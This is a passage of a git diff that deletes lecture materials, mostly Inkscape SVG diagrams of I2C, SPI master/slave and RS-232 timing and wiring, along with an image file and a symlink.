style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:4, 2;stroke-dashoffset:0;stroke-opacity:1" - id="path9903" /> - <path - d="M 892.20309,489.86218 L 919.24904,489.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:4, 2;stroke-dashoffset:0;stroke-opacity:1" - id="path9905" /> - <path - d="M 892.20309,539.86218 C 900.53643,539.86218 910.48947,539.86218 918.8228,539.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:4, 2;stroke-dashoffset:0;stroke-opacity:1" - id="path9907" /> - <path - d="M 918.14082,539.86218 L 928.14082,539.86218 L 938.14082,564.86218 L 988.14082,564.86218 L 998.14082,539.86218 L 1048.1408,539.86218 L 1058.1408,564.86218 L 1108.1408,564.86218 L 1118.1408,539.86218 L 1243.1408,539.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="path11679" /> - <path - d="M 1243.1408,489.86218 L 1218.1408,489.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:6, 2;stroke-dashoffset:0;stroke-opacity:1" - id="path12572" /> - <path - d="M 918.14082,514.86218 L 958.14082,514.86218 L 968.14082,489.86218 L 1078.1408,489.86218 L 1088.1408,514.86218 L 1183.1408,514.86218 L 1193.1408,489.86218 L 1218.1408,489.86218" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="path12570" /> - <path - d="M 918.14082,489.86218 L 958.14082,489.86218 L 968.14082,514.86218 L 1078.1408,514.86218 L 1082.6831,500.9039" - style="fill:none;fill-rule:evenodd;stroke:black;stroke-width:2;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1" - id="path12568" /> - <text - x="428.36386" - y="506.65417" - style="font-size:6px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - id="text17011" - xml:space="preserve"><tspan - x="428.36386" - y="506.65417" - style="font-size:12px;font-style:normal;font-weight:bold" - id="tspan17013">SDA</tspan></text> - <text - x="429.19003" - y="556.52917" - style="font-size:6px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - id="text17019" - xml:space="preserve"><tspan - x="429.19003" - y="556.52917" - style="font-size:12px;font-style:normal;font-weight:bold" - id="tspan17021">SCL</tspan></text> - </g> - <g - transform="translate(-395.1819,-35.5544)" - id="layer3"> - <text - x="1158.5015" - y="163.23318" - style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#ffd737;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans" - id="text25013" - xml:space="preserve"><tspan - x="1158.5015" - y="163.23318" - style="font-size:24px;font-weight:bold;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none" - id="tspan25015">P</tspan></text> - <text - x="473.97595" - y="163.52615" - style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#ffd737;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans" - id="text24124" - xml:space="preserve"><tspan - x="473.97595" - y="163.52615" - style="font-size:24px;font-weight:bold;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none" - id="tspan24126">S</tspan></text> - <text - x="633.73474" - y="163.23318" - style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#bcdd37;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans" - id="text25021" - xml:space="preserve"><tspan - x="633.73474" - y="163.23318" - style="font-size:24px;font-weight:bold;fill:#bcdd37;fill-opacity:1;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none" - id="tspan25023">B<tspan - style="font-size:18px" - id="tspan25029">1</tspan></tspan></text> - <text - x="752.724" - y="163.23318" - style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#bcdd37;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans" - id="text25031" - xml:space="preserve"><tspan - x="752.724" - y="163.23318" - style="font-size:24px;font-weight:bold;fill:#bcdd37;fill-opacity:1;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none" - id="tspan25033">B<tspan - style="font-size:18px" - id="tspan25045">2</tspan></tspan></text> - <text - x="986.49792" - y="163.23318" - style="font-size:12px;font-style:normal;font-weight:normal;opacity:1;fill:#bcdd37;fill-opacity:1;stroke:black;stroke-width:0.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;display:inline;font-family:Bitstream Vera Sans" - id="text25037" - xml:space="preserve"><tspan - x="986.49792" - y="163.23318" - style="font-size:24px;font-weight:bold;fill:#bcdd37;fill-opacity:1;stroke-width:0.5;stroke-miterlimit:4;stroke-dasharray:none" - id="tspan25039">B<tspan - style="font-size:18px" - id="tspan25043">N</tspan></tspan></text> - </g> -</svg> diff --git a/20161110/RS-232_timing-no-text.png b/20161110/RS-232_timing-no-text.png deleted file mode 100644 index eb877b4e33bfb87f6a3230c82373db9f7470344d..0000000000000000000000000000000000000000 Binary files a/20161110/RS-232_timing-no-text.png and /dev/null differ diff --git a/20161110/Retribution_Engine_Screenshot_120807.jpg b/20161110/Retribution_Engine_Screenshot_120807.jpg deleted file mode 120000 index 19f4cb3e4aae1e24c3466a25b2c0e5ad90ee49e7..0000000000000000000000000000000000000000 --- a/20161110/Retribution_Engine_Screenshot_120807.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/Retribution_Engine_Screenshot_120807.jpg \ No newline at end of file diff --git a/20161110/SPI_single_slave.svg b/20161110/SPI_single_slave.svg deleted file mode 100644 index b20e01c319aaa346f92e8921a37b5cf2c88ef19d..0000000000000000000000000000000000000000 --- a/20161110/SPI_single_slave.svg +++ /dev/null @@ -1,293 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="305pt" - height="95pt" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.45" - sodipodi:docbase="/home/cburnett/wikipedia/images/electronics" - sodipodi:docname="SPI single slave.svg" - version="1.0" - inkscape:output_extension="org.inkscape.output.svg.inkscape" - sodipodi:modified="true"> - <defs - id="defs4"> - <marker - inkscape:stockid="TriangleInL" - orient="auto" - refY="0.0" - refX="0.0" - id="TriangleInL" - style="overflow:visible"> - <path - id="path2502" - d="M 5.77,0.0 L -2.88,5.0 L -2.88,-5.0 L 5.77,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(-0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow1Mend" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Mend" - style="overflow:visible;"> - <path - id="path2585" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;" - transform="scale(0.4) rotate(180)" /> - </marker> - <marker - inkscape:stockid="Arrow1Mstart" - orient="auto" - refY="0.0" - refX="0.0" - id="Arrow1Mstart" - style="overflow:visible"> - <path - id="path2588" - d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.4)" /> - </marker> - <marker - inkscape:stockid="TriangleOutL" - orient="auto" - refY="0.0" - refX="0.0" - id="TriangleOutL" - style="overflow:visible"> - <path - id="path2493" - d="M 5.77,0.0 L -2.88,5.0 L -2.88,-5.0 L 5.77,0.0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none" - transform="scale(0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow2Lend" - orient="auto" - refY="0" - refX="0" - id="Arrow2Lend" - style="overflow:visible"> - <path - id="path3298" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(-1.1,0,0,-1.1,5.5,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lend" - orient="auto" - refY="0" - refX="0" - id="Arrow1Lend" - style="overflow:visible"> - <path - id="path3316" - d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(-0.8,-0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lstart" - orient="auto" - refY="0" - refX="0" - id="Arrow1Lstart" - style="overflow:visible"> - <path - id="path3319" - d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(0.8,0.8)" /> - </marker> - </defs> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="4" - inkscape:cx="177.79428" - inkscape:cy="27.981633" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="976" - inkscape:window-height="962" - inkscape:window-x="0" - inkscape:window-y="31" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <g - id="g1994"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96931434px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 140.09375,31.34375 L 140.09375,32.3125 C 185.02221,32.3125 207.48663,32.3125 218.71875,32.3125 C 224.33481,32.3125 227.12724,32.3125 228.53125,32.3125 C 229.23326,32.3125 229.5745,32.3125 229.75,32.3125 C 229.83775,32.3125 229.88431,32.3125 229.90625,32.3125 C 229.91722,32.3125 229.93476,32.3125 229.9375,32.3125 L 229.9375,31.84375 L 229.9375,31.34375 C 229.9375,31.34375 229.95068,31.343751 140.09375,31.34375 z " - id="path3144" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77545147pt;marker-start:none" - d="M 234.41172,31.830319 L 227.70407,35.707576 L 227.70407,27.953062 L 234.41172,31.830319 z " - id="path2000" /> - </g> - <g - id="g2002"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96867871px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 140.09375,46.9375 L 140.09375,47.90625 C 184.96331,47.90625 207.37636,47.90625 218.59375,47.90625 C 224.20245,47.90625 227.00408,47.90625 228.40625,47.90625 C 229.10734,47.90625 229.48098,47.90625 229.65625,47.90625 C 229.74389,47.90625 229.79059,47.90625 229.8125,47.90625 L 229.8125,47.4375 L 229.8125,46.9375 C 229.8125,46.9375 229.83288,46.937499 140.09375,46.9375 z " - id="path3330" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77494297pt;marker-start:none" - d="M 234.29035,47.433902 L 227.58709,51.308617 L 227.58709,43.559187 L 234.29035,47.433902 z " - id="path2008" /> - </g> - <g - id="g2018"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96931434px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 140.09375,78.15625 L 140.09375,79.125 C 185.02221,79.124999 207.48663,79.125 218.71875,79.125 C 224.33481,79.125 227.12724,79.125 228.53125,79.125 C 229.23326,79.125 229.5745,79.125 229.75,79.125 C 229.83775,79.125 229.88431,79.125 229.90625,79.125 C 229.91722,79.125 229.93476,79.125 229.9375,79.125 L 229.9375,78.65625 L 229.9375,78.15625 C 229.9375,78.15625 229.95068,78.156247 140.09375,78.15625 z " - id="path3334" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77545147pt;marker-start:none" - d="M 234.41172,78.641034 L 227.70407,82.518291 L 227.70407,74.763777 L 234.41172,78.641034 z " - id="path2024" /> - </g> - <g - id="g2010"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.00844264px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 145.75,63.4375 L 145.75,64.46875 C 190.60367,64.468751 213.03658,64.46875 224.25,64.46875 C 229.85671,64.46875 232.66082,64.46875 234.0625,64.46875 C 234.76334,64.46875 235.10604,64.46875 235.28125,64.46875 C 235.36885,64.46875 235.4156,64.46875 235.4375,64.46875 C 235.44845,64.46875 235.46601,64.46875 235.46875,64.46875 L 235.46875,63.9375 L 235.46875,63.4375 C 235.46875,63.4375 235.45733,63.437501 145.75,63.4375 z " - id="path2783" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.80675411pt;marker-start:none" - d="M 141.09578,63.949224 L 148.0742,59.915453 L 148.0742,67.982995 L 141.09578,63.949224 z " - id="path2016" /> - </g> - <g - id="g2395"> - <rect - y="19.101088" - x="21.676456" - height="72.187675" - width="118.28313" - id="rect1307" - style="fill:#ffc2a1;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text2182" - y="52.045509" - x="46.81802" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="52.045509" - x="46.81802" - id="tspan2184" - sodipodi:role="line">SPI</tspan><tspan - id="tspan2186" - y="67.045509" - x="46.81802" - sodipodi:role="line">Master</tspan></text> - <text - id="text3061" - y="37.057228" - x="92.818016" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="37.057228" - x="92.818016" - id="tspan3063" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan3065" - y="52.057228" - x="92.818016" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan3067" - y="67.057228" - x="92.818016" - sodipodi:role="line">MISO</tspan><tspan - id="tspan3069" - y="82.057228" - x="92.818016" - sodipodi:role="line">SS</tspan></text> - <path - id="path2341" - d="M 93.8125,71.0625 L 107.03125,71.0625" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - <g - id="g2374"> - <rect - y="19.101088" - x="235.67645" - height="72.187675" - width="118.28313" - id="rect3084" - style="fill:#b9e179;fill-opacity:1;fill-rule:evenodd;stroke:#000000;stroke-width:0.74999273px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - <text - sodipodi:linespacing="125%" - id="text3086" - y="52.045509" - x="328.81802" - style="font-size:12px;font-style:normal;font-weight:normal;text-align:center;line-height:125%;writing-mode:lr-tb;text-anchor:middle;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="52.045509" - x="328.81802" - id="tspan3088" - sodipodi:role="line">SPI</tspan><tspan - id="tspan3090" - y="67.045509" - x="328.81802" - sodipodi:role="line">Slave</tspan></text> - <text - id="text3092" - y="37.057228" - x="244.81802" - style="font-size:12px;font-style:normal;font-weight:normal;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans" - xml:space="preserve"><tspan - y="37.057228" - x="244.81802" - id="tspan3094" - sodipodi:role="line">SCLK</tspan><tspan - id="tspan3096" - y="52.057228" - x="244.81802" - sodipodi:role="line">MOSI</tspan><tspan - id="tspan3098" - y="67.057228" - x="244.81802" - sodipodi:role="line">MISO</tspan><tspan - id="tspan3100" - y="82.057228" - x="244.81802" - sodipodi:role="line">SS</tspan></text> - <path - id="path2343" - d="M 245.39063,71.0625 L 258.60938,71.0625" - style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" /> - </g> - </g> -</svg> diff --git a/20161110/SPI_three_slaves.svg b/20161110/SPI_three_slaves.svg deleted file mode 100644 index c24a19730fd4bcd4b0305e255fadc772cca5ceeb..0000000000000000000000000000000000000000 --- a/20161110/SPI_three_slaves.svg +++ /dev/null @@ -1,546 +0,0 @@ -<?xml version="1.0" encoding="UTF-8" standalone="no"?> -<!-- Created with Inkscape (http://www.inkscape.org/) --> -<svg - xmlns:dc="http://purl.org/dc/elements/1.1/" - xmlns:cc="http://web.resource.org/cc/" - xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" - xmlns:svg="http://www.w3.org/2000/svg" - xmlns="http://www.w3.org/2000/svg" - xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" - xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" - width="290pt" - height="230pt" - id="svg2" - sodipodi:version="0.32" - inkscape:version="0.45" - sodipodi:docbase="/home/cburnett/wikipedia/images/electronics" - sodipodi:docname="SPI three slaves.svg" - version="1.0" - inkscape:output_extension="org.inkscape.output.svg.inkscape" - sodipodi:modified="true"> - <defs - id="defs4"> - <marker - inkscape:stockid="Arrow2Mstart" - orient="auto" - refY="0" - refX="0" - id="Arrow2Mstart" - style="overflow:visible"> - <path - id="path2570" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(0.6,0,0,0.6,-3,0)" /> - </marker> - <marker - inkscape:stockid="TriangleInL" - orient="auto" - refY="0" - refX="0" - id="TriangleInL" - style="overflow:visible"> - <path - id="path2502" - d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(-0.8,-0.8)" /> - </marker> - <marker - inkscape:stockid="TriangleOutL" - orient="auto" - refY="0" - refX="0" - id="TriangleOutL" - style="overflow:visible"> - <path - id="path2493" - d="M 5.77,0 L -2.88,5 L -2.88,-5 L 5.77,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(0.8,0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow2Lstart" - orient="auto" - refY="0" - refX="0" - id="Arrow2Lstart" - style="overflow:visible"> - <path - id="path2576" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(1.1,0,0,1.1,-5.5,0)" /> - </marker> - <marker - inkscape:stockid="Arrow2Lend" - orient="auto" - refY="0" - refX="0" - id="Arrow2Lend" - style="overflow:visible"> - <path - id="path3298" - style="font-size:12px;fill-rule:evenodd;stroke-width:0.625;stroke-linejoin:round" - d="M 8.7185878,4.0337352 L -2.2072895,0.016013256 L 8.7185884,-4.0017078 C 6.97309,-1.6296469 6.9831476,1.6157441 8.7185878,4.0337352 z " - transform="matrix(-1.1,0,0,-1.1,5.5,0)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lend" - orient="auto" - refY="0" - refX="0" - id="Arrow1Lend" - style="overflow:visible"> - <path - id="path3316" - d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(-0.8,-0.8)" /> - </marker> - <marker - inkscape:stockid="Arrow1Lstart" - orient="auto" - refY="0" - refX="0" - id="Arrow1Lstart" - style="overflow:visible"> - <path - id="path3319" - d="M 0,0 L 5,-5 L -12.5,0 L 5,5 L 0,0 z " - style="fill-rule:evenodd;stroke:#000000;stroke-width:1pt;marker-start:none" - transform="scale(0.8,0.8)" /> - </marker> - </defs> - <sodipodi:namedview - id="base" - pagecolor="#ffffff" - bordercolor="#666666" - borderopacity="1.0" - inkscape:pageopacity="0.0" - inkscape:pageshadow="2" - inkscape:zoom="2" - inkscape:cx="210.40651" - inkscape:cy="140.60009" - inkscape:document-units="px" - inkscape:current-layer="layer1" - inkscape:window-width="976" - inkscape:window-height="962" - inkscape:window-x="0" - inkscape:window-y="31" /> - <metadata - id="metadata7"> - <rdf:RDF> - <cc:Work - rdf:about=""> - <dc:format>image/svg+xml</dc:format> - <dc:type - rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> - </cc:Work> - </rdf:RDF> - </metadata> - <g - inkscape:label="Layer 1" - inkscape:groupmode="layer" - id="layer1"> - <g - id="g2202"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.25,25 L 131.25,25.96875 C 176.07915,25.96875 198.51146,25.96875 209.71875,25.96875 C 215.32239,25.96875 218.13034,25.96875 219.53125,25.96875 C 220.23171,25.96875 220.57489,25.96875 220.75,25.96875 C 220.83756,25.96875 220.88436,25.96875 220.90625,25.96875 L 220.90625,25.5 L 220.90625,25 C 220.90625,25 220.90829,25 131.25,25 z " - id="path3144" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none" - d="M 225.38904,25.497581 L 218.6888,29.37055 L 218.6888,21.624612 L 225.38904,25.497581 z " - id="path2208" /> - </g> - <g - id="g2210"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.25,40.625 L 131.25,41.59375 C 176.07915,41.593749 198.51146,41.59375 209.71875,41.59375 C 215.32239,41.59375 218.13034,41.59375 219.53125,41.59375 C 220.23171,41.59375 220.57489,41.59375 220.75,41.59375 C 220.83756,41.59375 220.88436,41.59375 220.90625,41.59375 L 220.90625,41.09375 L 220.90625,40.625 C 220.90625,40.625 220.90829,40.624998 131.25,40.625 z " - id="path3330" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none" - d="M 225.38904,41.101164 L 218.6888,44.974133 L 218.6888,37.228195 L 225.38904,41.101164 z " - id="path2216" /> - </g> - <g - id="g2226"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.96824229px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.25,71.8125 L 131.25,72.78125 C 176.07915,72.78125 198.51146,72.78125 209.71875,72.78125 C 215.32239,72.78125 218.13034,72.78125 219.53125,72.78125 C 220.23171,72.78125 220.57489,72.78125 220.75,72.78125 C 220.83756,72.78125 220.88436,72.78125 220.90625,72.78125 L 220.90625,72.3125 L 220.90625,71.8125 C 220.90625,71.8125 220.90829,71.8125 131.25,71.8125 z " - id="path3334" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.77459383pt;marker-start:none" - d="M 225.38904,72.308296 L 218.6888,76.181265 L 218.6888,68.435327 L 225.38904,72.308296 z " - id="path2232" /> - </g> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2607" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-12.09375,-18)" /> - <path - sodipodi:type="arc" - style="fill:#000000;fill-opacity:1" - id="path2609" - sodipodi:cx="209.65625" - sodipodi:cy="43.518429" - sodipodi:rx="1.9375" - sodipodi:ry="1.9375" - d="M 211.59375 43.518429 A 1.9375 1.9375 0 1 1 207.71875,43.518429 A 1.9375 1.9375 0 1 1 211.59375 43.518429 z" - transform="translate(-23.59098,-2.4645)" /> - <g - id="g2254"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.02442479px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.03125,85.34375 L 131.03125,86.375 L 162.53125,86.375 L 162.53125,162.375 L 162.53125,162.875 L 163.03125,162.875 L 220.5,162.875 L 220.5,161.84375 L 163.53125,161.84375 L 163.53125,85.875 L 163.53125,85.34375 L 163.03125,85.34375 L 131.03125,85.34375 z " - id="path2677" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.81953983pt;marker-start:none" - d="M 225.21856,162.36218 L 218.12955,166.45988 L 218.12955,158.26448 L 225.21856,162.36218 z " - id="path2260" /> - </g> - <g - id="g2262"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.0245285px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 131.03125,100.46875 L 131.03125,101.5 L 145.9375,101.5 L 145.9375,252.46875 L 145.9375,253 L 146.4375,253 L 220.65625,253 L 220.65625,251.96875 L 146.9375,251.96875 L 146.9375,100.96875 L 146.9375,100.46875 L 146.4375,100.46875 L 131.03125,100.46875 z " - id="path2679" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.8196228pt;marker-start:none" - d="M 225.38937,252.47886 L 218.29964,256.57697 L 218.29964,248.38075 L 225.38937,252.47886 z " - id="path2268" /> - </g> - <g - id="g2242"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.0321871px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 185.625,41.0625 L 185.625,132.4375 L 185.625,132.96875 L 186.15625,132.96875 L 220.78125,132.96875 L 220.78125,131.9375 L 186.65625,131.9375 L 186.65625,41.0625 L 185.625,41.0625 z " - id="path2687" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.82574968pt;marker-start:none" - d="M 225.55987,132.44748 L 218.41713,136.57623 L 218.41713,128.31873 L 225.55987,132.44748 z " - id="path2248" /> - </g> - <g - id="g2234"> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1.04614723px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 197.09375,25.5 L 197.09375,117.40625 L 197.09375,117.9375 L 197.625,117.9375 L 220.65625,117.9375 L 220.65625,116.90625 L 198.15625,116.90625 L 198.15625,25.5 L 197.09375,25.5 z " - id="path2689" /> - <path - style="fill-rule:evenodd;stroke:black;stroke-width:0.83691778pt;marker-start:none" - d="M 225.48174,117.42146 L 218.2424,121.60605 L 218.2424,113.23687 L 225.48174,117.42146 z " - id="path2240" /> - </g> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 174.25,56.375 L 174.25,147.875 L 174.25,148.375 L 174.75,148.375 L 226.5,148.375 L 226.5,147.375 L 175.25,147.375 L 175.25,56.375 L 174.25,56.375 z " - id="path2691" /> - <path - style="fill:black;fill-opacity:1;fill-rule:evenodd;stroke:none;stroke-width:0.99764985px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1" - d="M 174.25,148.375 L 174.25,239.125 L 174.25,239.625 L 174.75,239.625 L 226.75,239.625 L 226.75,238.625 L 175.25,238.625 L 175.25,148.375 L 